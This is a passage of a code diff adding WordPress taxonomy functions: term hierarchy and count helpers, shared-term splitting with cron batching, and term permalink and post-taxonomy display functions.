+		unset( $_term->object_id );
+
+		wp_cache_add( $term->term_id, $_term, 'terms' );
+	}
+}
+
+//
+// Private
+//
+
+/**
+ * Retrieves children of taxonomy as Term IDs.
+ *
+ * @ignore
+ * @since 2.3.0
+ *
+ * @param string $taxonomy Taxonomy name.
+ * @return array Empty if $taxonomy isn't hierarchical or returns children as Term IDs.
+ */
+function _get_term_hierarchy( $taxonomy ) {
+	if ( !is_taxonomy_hierarchical($taxonomy) )
+		return array();
+	$children = get_option("{$taxonomy}_children");
+
+	if ( is_array($children) )
+		return $children;
+	$children = array();
+	$terms = get_terms($taxonomy, array('get' => 'all', 'orderby' => 'id', 'fields' => 'id=>parent'));
+	foreach ( $terms as $term_id => $parent ) {
+		if ( $parent > 0 )
+			$children[$parent][] = $term_id;
+	}
+	update_option("{$taxonomy}_children", $children);
+
+	return $children;
+}
+
+/**
+ * Get the subset of $terms that are descendants of $term_id.
+ *
+ * If `$terms` is an array of objects, then _get_term_children() returns an array of objects.
+ * If `$terms` is an array of IDs, then _get_term_children() returns an array of IDs.
+ *
+ * @access private
+ * @since 2.3.0
+ *
+ * @param int    $term_id   The ancestor term: all returned terms should be descendants of `$term_id`.
+ * @param array  $terms     The set of terms - either an array of term objects or term IDs - from which those that
+ *                          are descendants of $term_id will be chosen.
+ * @param string $taxonomy  The taxonomy which determines the hierarchy of the terms.
+ * @param array  $ancestors Optional. Term ancestors that have already been identified. Passed by reference, to keep
+ *                          track of found terms when recursing the hierarchy. The array of located ancestors is used
+ *                          to prevent infinite recursion loops. For performance, `term_ids` are used as array keys,
+ *                          with 1 as value. Default empty array.
+ * @return array|WP_Error The subset of $terms that are descendants of $term_id.
+ */
+function _get_term_children( $term_id, $terms, $taxonomy, &$ancestors = array() ) {
+	$empty_array = array();
+	if ( empty($terms) )
+		return $empty_array;
+
+	$term_list = array();
+	$has_children = _get_term_hierarchy($taxonomy);
+
+	if  ( ( 0 != $term_id ) && ! isset($has_children[$term_id]) )
+		return $empty_array;
+
+	// Include the term itself in the ancestors array, so we can properly detect when a loop has occurred.
+	if ( empty( $ancestors ) ) {
+		$ancestors[ $term_id ] = 1;
+	}
+
+	foreach ( (array) $terms as $term ) {
+		$use_id = false;
+		if ( !is_object($term) ) {
+			$term = get_term($term, $taxonomy);
+			if ( is_wp_error( $term ) )
+				return $term;
+			$use_id = true;
+		}
+
+		// Don't recurse if we've already identified the term as a child - this indicates a loop.
+		if ( isset( $ancestors[ $term->term_id ] ) ) {
+			continue;
+		}
+
+		if ( $term->parent == $term_id ) {
+			if ( $use_id )
+				$term_list[] = $term->term_id;
+			else
+				$term_list[] = $term;
+
+			if ( !isset($has_children[$term->term_id]) )
+				continue;
+
+			$ancestors[ $term->term_id ] = 1;
+
+			if ( $children = _get_term_children( $term->term_id, $terms, $taxonomy, $ancestors) )
+				$term_list = array_merge($term_list, $children);
+		}
+	}
+
+	return $term_list;
+}
+
+/**
+ * Add count of children to parent count.
+ *
+ * Recalculates term counts by including items from child terms. Assumes all
+ * relevant children are already in the $terms argument.
+ *
+ * @access private
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array  $terms    List of term objects (passed by reference).
+ * @param string $taxonomy Term context.
+ */
+function _pad_term_counts( &$terms, $taxonomy ) {
+	global $wpdb;
+
+	// This function only works for hierarchical taxonomies like post categories.
+	if ( !is_taxonomy_hierarchical( $taxonomy ) )
+		return;
+
+	$term_hier = _get_term_hierarchy($taxonomy);
+
+	if ( empty($term_hier) )
+		return;
+
+	$term_items = array();
+	$terms_by_id = array();
+	$term_ids = array();
+
+	foreach ( (array) $terms as $key => $term ) {
+		$terms_by_id[$term->term_id] = & $terms[$key];
+		$term_ids[$term->term_taxonomy_id] = $term->term_id;
+	}
+
+	// Get the object and term ids and stick them in a lookup table.
+	$tax_obj = get_taxonomy($taxonomy);
+	$object_types = esc_sql($tax_obj->object_type);
+	$results = $wpdb->get_results("SELECT object_id, term_taxonomy_id FROM $wpdb->term_relationships INNER JOIN $wpdb->posts ON object_id = ID WHERE term_taxonomy_id IN (" . implode(',', array_keys($term_ids)) . ") AND post_type IN ('" . implode("', '", $object_types) . "') AND post_status = 'publish'");
+	foreach ( $results as $row ) {
+		$id = $term_ids[$row->term_taxonomy_id];
+		$term_items[$id][$row->object_id] = isset($term_items[$id][$row->object_id]) ? ++$term_items[$id][$row->object_id] : 1;
+	}
+
+	// Touch every ancestor's lookup row for each post in each term.
+	foreach ( $term_ids as $term_id ) {
+		$child = $term_id;
+		$ancestors = array();
+		while ( !empty( $terms_by_id[$child] ) && $parent = $terms_by_id[$child]->parent ) {
+			$ancestors[] = $child;
+			if ( !empty( $term_items[$term_id] ) )
+				foreach ( $term_items[$term_id] as $item_id => $touches ) {
+					$term_items[$parent][$item_id] = isset($term_items[$parent][$item_id]) ? ++$term_items[$parent][$item_id]: 1;
+				}
+			$child = $parent;
+
+			if ( in_array( $parent, $ancestors ) ) {
+				break;
+			}
+		}
+	}
+
+	// Transfer the touched cells.
+	foreach ( (array) $term_items as $id => $items )
+		if ( isset($terms_by_id[$id]) )
+			$terms_by_id[$id]->count = count($items);
+}
+
+/**
+ * Adds any terms from the given IDs to the cache that do not already exist in cache.
+ *
+ * @since 4.6.0
+ * @access private
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array $term_ids          Array of term IDs.
+ * @param bool  $update_meta_cache Optional. Whether to update the meta cache. Default true.
+ */
+function _prime_term_caches( $term_ids, $update_meta_cache = true ) {
+	global $wpdb;
+
+	$non_cached_ids = _get_non_cached_ids( $term_ids, 'terms' );
+	if ( ! empty( $non_cached_ids ) ) {
+		$fresh_terms = $wpdb->get_results( sprintf( "SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE t.term_id IN (%s)", join( ",", array_map( 'intval', $non_cached_ids ) ) ) );
+
+		update_term_cache( $fresh_terms, $update_meta_cache );
+
+		if ( $update_meta_cache ) {
+			update_termmeta_cache( $non_cached_ids );
+		}
+	}
+}
+
+//
+// Default callbacks
+//
+
+/**
+ * Will update term count based on object types of the current taxonomy.
+ *
+ * Private function for the default callback for post_tag and category
+ * taxonomies.
+ *
+ * @access private
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array  $terms    List of Term taxonomy IDs.
+ * @param object $taxonomy Current taxonomy object of terms.
+ */
+function _update_post_term_count( $terms, $taxonomy ) {
+	global $wpdb;
+
+	$object_types = (array) $taxonomy->object_type;
+
+	foreach ( $object_types as &$object_type )
+		list( $object_type ) = explode( ':', $object_type );
+
+	$object_types = array_unique( $object_types );
+
+	if ( false !== ( $check_attachments = array_search( 'attachment', $object_types ) ) ) {
+		unset( $object_types[ $check_attachments ] );
+		$check_attachments = true;
+	}
+
+	if ( $object_types )
+		$object_types = esc_sql( array_filter( $object_types, 'post_type_exists' ) );
+
+	foreach ( (array) $terms as $term ) {
+		$count = 0;
+
+		// Attachments can be 'inherit' status, we need to base count off the parent's status if so.
+		if ( $check_attachments )
+			$count += (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts p1 WHERE p1.ID = $wpdb->term_relationships.object_id AND ( post_status = 'publish' OR ( post_status = 'inherit' AND post_parent > 0 AND ( SELECT post_status FROM $wpdb->posts WHERE ID = p1.post_parent ) = 'publish' ) ) AND post_type = 'attachment' AND term_taxonomy_id = %d", $term ) );
+
+		if ( $object_types )
+			$count += (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts WHERE $wpdb->posts.ID = $wpdb->term_relationships.object_id AND post_status = 'publish' AND post_type IN ('" . implode("', '", $object_types ) . "') AND term_taxonomy_id = %d", $term ) );
+
+		/** This action is documented in wp-includes/taxonomy.php */
+		do_action( 'edit_term_taxonomy', $term, $taxonomy->name );
+		$wpdb->update( $wpdb->term_taxonomy, compact( 'count' ), array( 'term_taxonomy_id' => $term ) );
+
+		/** This action is documented in wp-includes/taxonomy.php */
+		do_action( 'edited_term_taxonomy', $term, $taxonomy->name );
+	}
+}
+
+/**
+ * Will update term count based on number of objects.
+ *
+ * Default callback for the 'link_category' taxonomy.
+ *
+ * @since 3.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array  $terms    List of term taxonomy IDs.
+ * @param object $taxonomy Current taxonomy object of terms.
+ */
+function _update_generic_term_count( $terms, $taxonomy ) {
+	global $wpdb;
+
+	foreach ( (array) $terms as $term ) {
+		$count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $term ) );
+
+		/** This action is documented in wp-includes/taxonomy.php */
+		do_action( 'edit_term_taxonomy', $term, $taxonomy->name );
+		$wpdb->update( $wpdb->term_taxonomy, compact( 'count' ), array( 'term_taxonomy_id' => $term ) );
+
+		/** This action is documented in wp-includes/taxonomy.php */
+		do_action( 'edited_term_taxonomy', $term, $taxonomy->name );
+	}
+}
+
+/**
+ * Create a new term for a term_taxonomy item that currently shares its term
+ * with another term_taxonomy.
+ *
+ * @ignore
+ * @since 4.2.0
+ * @since 4.3.0 Introduced `$record` parameter. Also, `$term_id` and
+ *              `$term_taxonomy_id` can now accept objects.
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|object $term_id          ID of the shared term, or the shared term object.
+ * @param int|object $term_taxonomy_id ID of the term_taxonomy item to receive a new term, or the term_taxonomy object
+ *                                     (corresponding to a row from the term_taxonomy table).
+ * @param bool       $record           Whether to record data about the split term in the options table. The recording
+ *                                     process has the potential to be resource-intensive, so during batch operations
+ *                                     it can be beneficial to skip inline recording and do it just once, after the
+ *                                     batch is processed. Only set this to `false` if you know what you are doing.
+ *                                     Default: true.
+ * @return int|WP_Error When the current term does not need to be split (or cannot be split on the current
+ *                      database schema), `$term_id` is returned. When the term is successfully split, the
+ *                      new term_id is returned. A WP_Error is returned for miscellaneous errors.
+ */
+function _split_shared_term( $term_id, $term_taxonomy_id, $record = true ) {
+	global $wpdb;
+
+	if ( is_object( $term_id ) ) {
+		$shared_term = $term_id;
+		$term_id = intval( $shared_term->term_id );
+	}
+
+	if ( is_object( $term_taxonomy_id ) ) {
+		$term_taxonomy = $term_taxonomy_id;
+		$term_taxonomy_id = intval( $term_taxonomy->term_taxonomy_id );
+	}
+
+	// If there are no shared term_taxonomy rows, there's nothing to do here.
+	$shared_tt_count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_taxonomy tt WHERE tt.term_id = %d AND tt.term_taxonomy_id != %d", $term_id, $term_taxonomy_id ) );
+
+	if ( ! $shared_tt_count ) {
+		return $term_id;
+	}
+
+	/*
+	 * Verify that the term_taxonomy_id passed to the function is actually associated with the term_id.
+	 * If there's a mismatch, it may mean that the term is already split. Return the actual term_id from the db.
+	 */
+	$check_term_id = $wpdb->get_var( $wpdb->prepare( "SELECT term_id FROM $wpdb->term_taxonomy WHERE term_taxonomy_id = %d", $term_taxonomy_id ) );
+	if ( $check_term_id != $term_id ) {
+		return $check_term_id;
+	}
+
+	// Pull up data about the currently shared slug, which we'll use to populate the new one.
+	if ( empty( $shared_term ) ) {
+		$shared_term = $wpdb->get_row( $wpdb->prepare( "SELECT t.* FROM $wpdb->terms t WHERE t.term_id = %d", $term_id ) );
+	}
+
+	$new_term_data = array(
+		'name' => $shared_term->name,
+		'slug' => $shared_term->slug,
+		'term_group' => $shared_term->term_group,
+	);
+
+	if ( false === $wpdb->insert( $wpdb->terms, $new_term_data ) ) {
+		return new WP_Error( 'db_insert_error', __( 'Could not split shared term.' ), $wpdb->last_error );
+	}
+
+	$new_term_id = (int) $wpdb->insert_id;
+
+	// Update the existing term_taxonomy to point to the newly created term.
+	$wpdb->update( $wpdb->term_taxonomy,
+		array( 'term_id' => $new_term_id ),
+		array( 'term_taxonomy_id' => $term_taxonomy_id )
+	);
+
+	// Reassign child terms to the new parent.
+	if ( empty( $term_taxonomy ) ) {
+		$term_taxonomy = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->term_taxonomy WHERE term_taxonomy_id = %d", $term_taxonomy_id ) );
+	}
+
+	$children_tt_ids = $wpdb->get_col( $wpdb->prepare( "SELECT term_taxonomy_id FROM $wpdb->term_taxonomy WHERE parent = %d AND taxonomy = %s", $term_id, $term_taxonomy->taxonomy ) );
+	if ( ! empty( $children_tt_ids ) ) {
+		foreach ( $children_tt_ids as $child_tt_id ) {
+			$wpdb->update( $wpdb->term_taxonomy,
+				array( 'parent' => $new_term_id ),
+				array( 'term_taxonomy_id' => $child_tt_id )
+			);
+			clean_term_cache( (int) $child_tt_id, '', false );
+		}
+	} else {
+		// If the term has no children, we must force its taxonomy cache to be rebuilt separately.
+		clean_term_cache( $new_term_id, $term_taxonomy->taxonomy, false );
+	}
+
+	clean_term_cache( $term_id, $term_taxonomy->taxonomy, false );
+
+	/*
+	 * Taxonomy cache clearing is delayed to avoid race conditions that may occur when
+	 * regenerating the taxonomy's hierarchy tree.
+	 */
+	$taxonomies_to_clean = array( $term_taxonomy->taxonomy );
+
+	// Clean the cache for term taxonomies formerly shared with the current term.
+	$shared_term_taxonomies = $wpdb->get_col( $wpdb->prepare( "SELECT taxonomy FROM $wpdb->term_taxonomy WHERE term_id = %d", $term_id ) );
+	$taxonomies_to_clean = array_merge( $taxonomies_to_clean, $shared_term_taxonomies );
+
+	foreach ( $taxonomies_to_clean as $taxonomy_to_clean ) {
+		clean_taxonomy_cache( $taxonomy_to_clean );
+	}
+
+	// Keep a record of term_ids that have been split, keyed by old term_id. See wp_get_split_term().
+	if ( $record ) {
+		$split_term_data = get_option( '_split_terms', array() );
+		if ( ! isset( $split_term_data[ $term_id ] ) ) {
+			$split_term_data[ $term_id ] = array();
+		}
+
+		$split_term_data[ $term_id ][ $term_taxonomy->taxonomy ] = $new_term_id;
+		update_option( '_split_terms', $split_term_data );
+	}
+
+	// If we've just split the final shared term, set the "finished" flag.
+	$shared_terms_exist = $wpdb->get_results(
+		"SELECT tt.term_id, t.*, count(*) as term_tt_count FROM {$wpdb->term_taxonomy} tt
+		 LEFT JOIN {$wpdb->terms} t ON t.term_id = tt.term_id
+		 GROUP BY t.term_id
+		 HAVING term_tt_count > 1
+		 LIMIT 1"
+	);
+	if ( ! $shared_terms_exist ) {
+		update_option( 'finished_splitting_shared_terms', true );
+	}
+
+	/**
+	 * Fires after a previously shared taxonomy term is split into two separate terms.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param int    $term_id          ID of the formerly shared term.
+	 * @param int    $new_term_id      ID of the new term created for the $term_taxonomy_id.
+	 * @param int    $term_taxonomy_id ID for the term_taxonomy row affected by the split.
+	 * @param string $taxonomy         Taxonomy for the split term.
+	 */
+	do_action( 'split_shared_term', $term_id, $new_term_id, $term_taxonomy_id, $term_taxonomy->taxonomy );
+
+	return $new_term_id;
+}
+
+/**
+ * Splits a batch of shared taxonomy terms.
+ *
+ * @since 4.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function _wp_batch_split_terms() {
+	global $wpdb;
+
+	$lock_name = 'term_split.lock';
+
+	// Try to lock.
+	$lock_result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` ( `option_name`, `option_value`, `autoload` ) VALUES (%s, %s, 'no') /* LOCK */", $lock_name, time() ) );
+
+	if ( ! $lock_result ) {
+		$lock_result = get_option( $lock_name );
+
+		// Bail if we were unable to create a lock, or if the existing lock is still valid.
+		if ( ! $lock_result || ( $lock_result > ( time() - HOUR_IN_SECONDS ) ) ) {
+			wp_schedule_single_event( time() + ( 5 * MINUTE_IN_SECONDS ), 'wp_split_shared_term_batch' );
+			return;
+		}
+	}
+
+	// Update the lock, as by this point we've definitely got a lock, just need to fire the actions.
+	update_option( $lock_name, time() );
+
+	// Get a list of shared terms (those with more than one associated row in term_taxonomy).
+	$shared_terms = $wpdb->get_results(
+		"SELECT tt.term_id, t.*, count(*) as term_tt_count FROM {$wpdb->term_taxonomy} tt
+		 LEFT JOIN {$wpdb->terms} t ON t.term_id = tt.term_id
+		 GROUP BY t.term_id
+		 HAVING term_tt_count > 1
+		 LIMIT 10"
+	);
+
+	// No more terms, we're done here.
+	if ( ! $shared_terms ) {
+		update_option( 'finished_splitting_shared_terms', true );
+		delete_option( $lock_name );
+		return;
+	}
+
+	// Shared terms found? We'll need to run this script again.
+	wp_schedule_single_event( time() + ( 2 * MINUTE_IN_SECONDS ), 'wp_split_shared_term_batch' );
+
+	// Rekey shared term array for faster lookups.
+	$_shared_terms = array();
+	foreach ( $shared_terms as $shared_term ) {
+		$term_id = intval( $shared_term->term_id );
+		$_shared_terms[ $term_id ] = $shared_term;
+	}
+	$shared_terms = $_shared_terms;
+
+	// Get term taxonomy data for all shared terms.
+	$shared_term_ids = implode( ',', array_keys( $shared_terms ) );
+	$shared_tts = $wpdb->get_results( "SELECT * FROM {$wpdb->term_taxonomy} WHERE `term_id` IN ({$shared_term_ids})" );
+
+	// Split term data recording is slow, so we do it just once, outside the loop.
+	$split_term_data = get_option( '_split_terms', array() );
+	$skipped_first_term = $taxonomies = array();
+	foreach ( $shared_tts as $shared_tt ) {
+		$term_id = intval( $shared_tt->term_id );
+
+		// Don't split the first tt belonging to a given term_id.
+		if ( ! isset( $skipped_first_term[ $term_id ] ) ) {
+			$skipped_first_term[ $term_id ] = 1;
+			continue;
+		}
+
+		if ( ! isset( $split_term_data[ $term_id ] ) ) {
+			$split_term_data[ $term_id ] = array();
+		}
+
+		// Keep track of taxonomies whose hierarchies need flushing.
+		if ( ! isset( $taxonomies[ $shared_tt->taxonomy ] ) ) {
+			$taxonomies[ $shared_tt->taxonomy ] = 1;
+		}
+
+		// Split the term.
+		$split_term_data[ $term_id ][ $shared_tt->taxonomy ] = _split_shared_term( $shared_terms[ $term_id ], $shared_tt, false );
+	}
+
+	// Rebuild the cached hierarchy for each affected taxonomy.
+	foreach ( array_keys( $taxonomies ) as $tax ) {
+		delete_option( "{$tax}_children" );
+		_get_term_hierarchy( $tax );
+	}
+
+	update_option( '_split_terms', $split_term_data );
+
+	delete_option( $lock_name );
+}
+
+/**
+ * In order to avoid the _wp_batch_split_terms() job being accidentally removed,
+ * check that it's still scheduled while we haven't finished splitting terms.
+ *
+ * @ignore
+ * @since 4.3.0
+ */
+function _wp_check_for_scheduled_split_terms() {
+	if ( ! get_option( 'finished_splitting_shared_terms' ) && ! wp_next_scheduled( 'wp_split_shared_term_batch' ) ) {
+		wp_schedule_single_event( time() + MINUTE_IN_SECONDS, 'wp_split_shared_term_batch' );
+	}
+}
+
+/**
+ * Check default categories when a term gets split to see if any of them need to be updated.
+ *
+ * @ignore
+ * @since 4.2.0
+ *
+ * @param int    $term_id          ID of the formerly shared term.
+ * @param int    $new_term_id      ID of the new term created for the $term_taxonomy_id.
+ * @param int    $term_taxonomy_id ID for the term_taxonomy row affected by the split.
+ * @param string $taxonomy         Taxonomy for the split term.
+ */
+function _wp_check_split_default_terms( $term_id, $new_term_id, $term_taxonomy_id, $taxonomy ) {
+	if ( 'category' != $taxonomy ) {
+		return;
+	}
+
+	foreach ( array( 'default_category', 'default_link_category', 'default_email_category' ) as $option ) {
+		if ( $term_id == get_option( $option, -1 ) ) {
+			update_option( $option, $new_term_id );
+		}
+	}
+}
+
+/**
+ * Check menu items when a term gets split to see if any of them need to be updated.
+ *
+ * @ignore
+ * @since 4.2.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int    $term_id          ID of the formerly shared term.
+ * @param int    $new_term_id      ID of the new term created for the $term_taxonomy_id.
+ * @param int    $term_taxonomy_id ID for the term_taxonomy row affected by the split.
+ * @param string $taxonomy         Taxonomy for the split term.
+ */
+function _wp_check_split_terms_in_menus( $term_id, $new_term_id, $term_taxonomy_id, $taxonomy ) {
+	global $wpdb;
+	$post_ids = $wpdb->get_col( $wpdb->prepare(
+		"SELECT m1.post_id
+		FROM {$wpdb->postmeta} AS m1
+			INNER JOIN {$wpdb->postmeta} AS m2 ON ( m2.post_id = m1.post_id )
+			INNER JOIN {$wpdb->postmeta} AS m3 ON ( m3.post_id = m1.post_id )
+		WHERE ( m1.meta_key = '_menu_item_type' AND m1.meta_value = 'taxonomy' )
+			AND ( m2.meta_key = '_menu_item_object' AND m2.meta_value = %s )
+			AND ( m3.meta_key = '_menu_item_object_id' AND m3.meta_value = %d )",
+		$taxonomy,
+		$term_id
+	) );
+
+	if ( $post_ids ) {
+		foreach ( $post_ids as $post_id ) {
+			update_post_meta( $post_id, '_menu_item_object_id', $new_term_id, $term_id );
+		}
+	}
+}
+
+/**
+ * If the term being split is a nav_menu, change associations.
+ *
+ * @ignore
+ * @since 4.3.0
+ *
+ * @param int    $term_id          ID of the formerly shared term.
+ * @param int    $new_term_id      ID of the new term created for the $term_taxonomy_id.
+ * @param int    $term_taxonomy_id ID for the term_taxonomy row affected by the split.
+ * @param string $taxonomy         Taxonomy for the split term.
+ */
+function _wp_check_split_nav_menu_terms( $term_id, $new_term_id, $term_taxonomy_id, $taxonomy ) {
+	if ( 'nav_menu' !== $taxonomy ) {
+		return;
+	}
+
+	// Update menu locations.
+	$locations = get_nav_menu_locations();
+	foreach ( $locations as $location => $menu_id ) {
+		if ( $term_id == $menu_id ) {
+			$locations[ $location ] = $new_term_id;
+		}
+	}
+	set_theme_mod( 'nav_menu_locations', $locations );
+}
+
+/**
+ * Get data about terms that previously shared a single term_id, but have since been split.
+ *
+ * @since 4.2.0
+ *
+ * @param int $old_term_id Term ID. This is the old, pre-split term ID.
+ * @return array Array of new term IDs, keyed by taxonomy.
+ */
+function wp_get_split_terms( $old_term_id ) {
+	$split_terms = get_option( '_split_terms', array() );
+
+	$terms = array();
+	if ( isset( $split_terms[ $old_term_id ] ) ) {
+		$terms = $split_terms[ $old_term_id ];
+	}
+
+	return $terms;
+}
+
+/**
+ * Get the new term ID corresponding to a previously split term.
+ *
+ * @since 4.2.0
+ *
+ * @param int    $old_term_id Term ID. This is the old, pre-split term ID.
+ * @param string $taxonomy    Taxonomy that the term belongs to.
+ * @return int|false If a previously split term is found corresponding to the old term_id and taxonomy,
+ *                   the new term_id will be returned. If no previously split term is found matching
+ *                   the parameters, returns false.
+ */
+function wp_get_split_term( $old_term_id, $taxonomy ) {
+	$split_terms = wp_get_split_terms( $old_term_id );
+
+	$term_id = false;
+	if ( isset( $split_terms[ $taxonomy ] ) ) {
+		$term_id = (int) $split_terms[ $taxonomy ];
+	}
+
+	return $term_id;
+}
+
+/**
+ * Determine whether a term is shared between multiple taxonomies.
+ *
+ * Shared taxonomy terms began to be split in 4.3, but failed cron tasks or
+ * other delays in upgrade routines may cause shared terms to remain.
+ *
+ * @since 4.4.0
+ *
+ * @param int $term_id Term ID.
+ * @return bool Returns false if a term is not shared between multiple taxonomies or
+ *              if splittng shared taxonomy terms is finished.
+ */
+function wp_term_is_shared( $term_id ) {
+	global $wpdb;
+
+	if ( get_option( 'finished_splitting_shared_terms' ) ) {
+		return false;
+	}
+
+	$tt_count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_taxonomy WHERE term_id = %d", $term_id ) );
+
+	return $tt_count > 1;
+}
+
+/**
+ * Generate a permalink for a taxonomy term archive.
+ *
+ * @since 2.5.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param object|int|string $term     The term object, ID, or slug whose link will be retrieved.
+ * @param string            $taxonomy Optional. Taxonomy. Default empty.
+ * @return string|WP_Error HTML link to taxonomy term archive on success, WP_Error if term does not exist.
+ */
+function get_term_link( $term, $taxonomy = '' ) {
+	global $wp_rewrite;
+
+	if ( !is_object($term) ) {
+		if ( is_int( $term ) ) {
+			$term = get_term( $term, $taxonomy );
+		} else {
+			$term = get_term_by( 'slug', $term, $taxonomy );
+		}
+	}
+
+	if ( !is_object($term) )
+		$term = new WP_Error( 'invalid_term', __( 'Empty Term.' ) );
+
+	if ( is_wp_error( $term ) )
+		return $term;
+
+	$taxonomy = $term->taxonomy;
+
+	$termlink = $wp_rewrite->get_extra_permastruct($taxonomy);
+
+	/**
+	 * Filters the permalink structure for a terms before token replacement occurs.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param string  $termlink The permalink structure for the term's taxonomy.
+	 * @param WP_Term $term     The term object.
+	 */
+	$termlink = apply_filters( 'pre_term_link', $termlink, $term );
+
+	$slug = $term->slug;
+	$t = get_taxonomy($taxonomy);
+
+	if ( empty($termlink) ) {
+		if ( 'category' == $taxonomy )
+			$termlink = '?cat=' . $term->term_id;
+		elseif ( $t->query_var )
+			$termlink = "?$t->query_var=$slug";
+		else
+			$termlink = "?taxonomy=$taxonomy&term=$slug";
+		$termlink = home_url($termlink);
+	} else {
+		if ( $t->rewrite['hierarchical'] ) {
+			$hierarchical_slugs = array();
+			$ancestors = get_ancestors( $term->term_id, $taxonomy, 'taxonomy' );
+			foreach ( (array)$ancestors as $ancestor ) {
+				$ancestor_term = get_term($ancestor, $taxonomy);
+				$hierarchical_slugs[] = $ancestor_term->slug;
+			}
+			$hierarchical_slugs = array_reverse($hierarchical_slugs);
+			$hierarchical_slugs[] = $slug;
+			$termlink = str_replace("%$taxonomy%", implode('/', $hierarchical_slugs), $termlink);
+		} else {
+			$termlink = str_replace("%$taxonomy%", $slug, $termlink);
+		}
+		$termlink = home_url( user_trailingslashit($termlink, 'category') );
+	}
+	// Back Compat filters.
+	if ( 'post_tag' == $taxonomy ) {
+
+		/**
+		 * Filters the tag link.
+		 *
+		 * @since 2.3.0
+		 * @deprecated 2.5.0 Use 'term_link' instead.
+		 *
+		 * @param string $termlink Tag link URL.
+		 * @param int    $term_id  Term ID.
+		 */
+		$termlink = apply_filters( 'tag_link', $termlink, $term->term_id );
+	} elseif ( 'category' == $taxonomy ) {
+
+		/**
+		 * Filters the category link.
+		 *
+		 * @since 1.5.0
+		 * @deprecated 2.5.0 Use 'term_link' instead.
+		 *
+		 * @param string $termlink Category link URL.
+		 * @param int    $term_id  Term ID.
+		 */
+		$termlink = apply_filters( 'category_link', $termlink, $term->term_id );
+	}
+
+	/**
+	 * Filters the term link.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $termlink Term link URL.
+	 * @param object $term     Term object.
+	 * @param string $taxonomy Taxonomy slug.
+	 */
+	return apply_filters( 'term_link', $termlink, $term, $taxonomy );
+}
+
+/**
+ * Display the taxonomies of a post with available options.
+ *
+ * This function can be used within the loop to display the taxonomies for a
+ * post without specifying the Post ID. You can also use it outside the Loop to
+ * display the taxonomies for a specific post.
+ *
+ * @since 2.5.0
+ *
+ * @param array $args {
+ *     Arguments about which post to use and how to format the output. Shares all of the arguments
+ *     supported by get_the_taxonomies(), in addition to the following.
+ *
+ *     @type  int|WP_Post $post   Post ID or object to get taxonomies of. Default current post.
+ *     @type  string      $before Displays before the taxonomies. Default empty string.
+ *     @type  string      $sep    Separates each taxonomy. Default is a space.
+ *     @type  string      $after  Displays after the taxonomies. Default empty string.
+ * }
+ */
+function the_taxonomies( $args = array() ) {
+	$defaults = array(
+		'post' => 0,
+		'before' => '',
+		'sep' => ' ',
+		'after' => '',
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	echo $r['before'] . join( $r['sep'], get_the_taxonomies( $r['post'], $r ) ) . $r['after'];
+}
+
+/**
+ * Retrieve all taxonomies associated with a post.
+ *
+ * This function can be used within the loop. It will also return an array of
+ * the taxonomies with links to the taxonomy and name.
+ *
+ * @since 2.5.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
+ * @param array $args {
+ *     Optional. Arguments about how to format the list of taxonomies. Default empty array.
+ *
+ *     @type string $template      Template for displaying a taxonomy label and list of terms.
+ *                                 Default is "Label: Terms."
+ *     @type string $term_template Template for displaying a single term in the list. Default is the term name
+ *                                 linked to its archive.
+ * }
+ * @return array List of taxonomies.
+ */
+function get_the_taxonomies( $post = 0, $args = array() ) {
+	$post = get_post( $post );
+
+	$args = wp_parse_args( $args, array(
+		/* translators: %s: taxonomy label, %l: list of terms formatted as per $term_template */
+		'template' => __( '%s: %l.' ),
+		'term_template' => '<a href="%1$s">%2$s</a>',
+	) );
+
+	$taxonomies = array();
+
+	if ( ! $post ) {
+		return $taxonomies;
+	}
+
+	foreach ( get_object_taxonomies( $post ) as $taxonomy ) {
+		$t = (array) get_taxonomy( $taxonomy );
+		if ( empty( $t['label'] ) ) {
+			$t['label'] = $taxonomy;
+		}
+		if ( empty( $t['args'] ) ) {
+			$t['args'] = array();
+		}
+		if ( empty( $t['template'] ) ) {
+			$t['template'] = $args['template'];
+		}
+		if ( empty( $t['term_template'] ) ) {
+			$t['term_template'] = $args['term_template'];
+		}
+
+		$terms = get_object_term_cache( $post->ID, $taxonomy );
+		if ( false === $terms ) {
+			$terms = wp_get_object_terms( $post->ID, $taxonomy, $t['args'] );
+		}
+		$links = array();
+
+		foreach ( $terms as $term ) {
+			$links[] = wp_sprintf( $t['term_template'], esc_attr( get_term_link( $term ) ), $term->name );
+		}
+		if ( $links ) {
+			$taxonomies[$taxonomy] = wp_sprintf( $t['template'], $t['label'], $links, $terms );
+		}
+	}
+	return $taxonomies;
+}
+
+/**
+ * Retrieve all taxonomies of a post with just the names.
+ *
+ * @since 2.5.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
+ * @return array An array of all taxonomy names for the given post.
+ */
+function get_post_taxonomies( $post = 0 ) {
+	$post = get_post( $post );
+
+	return get_object_taxonomies($post);
+}
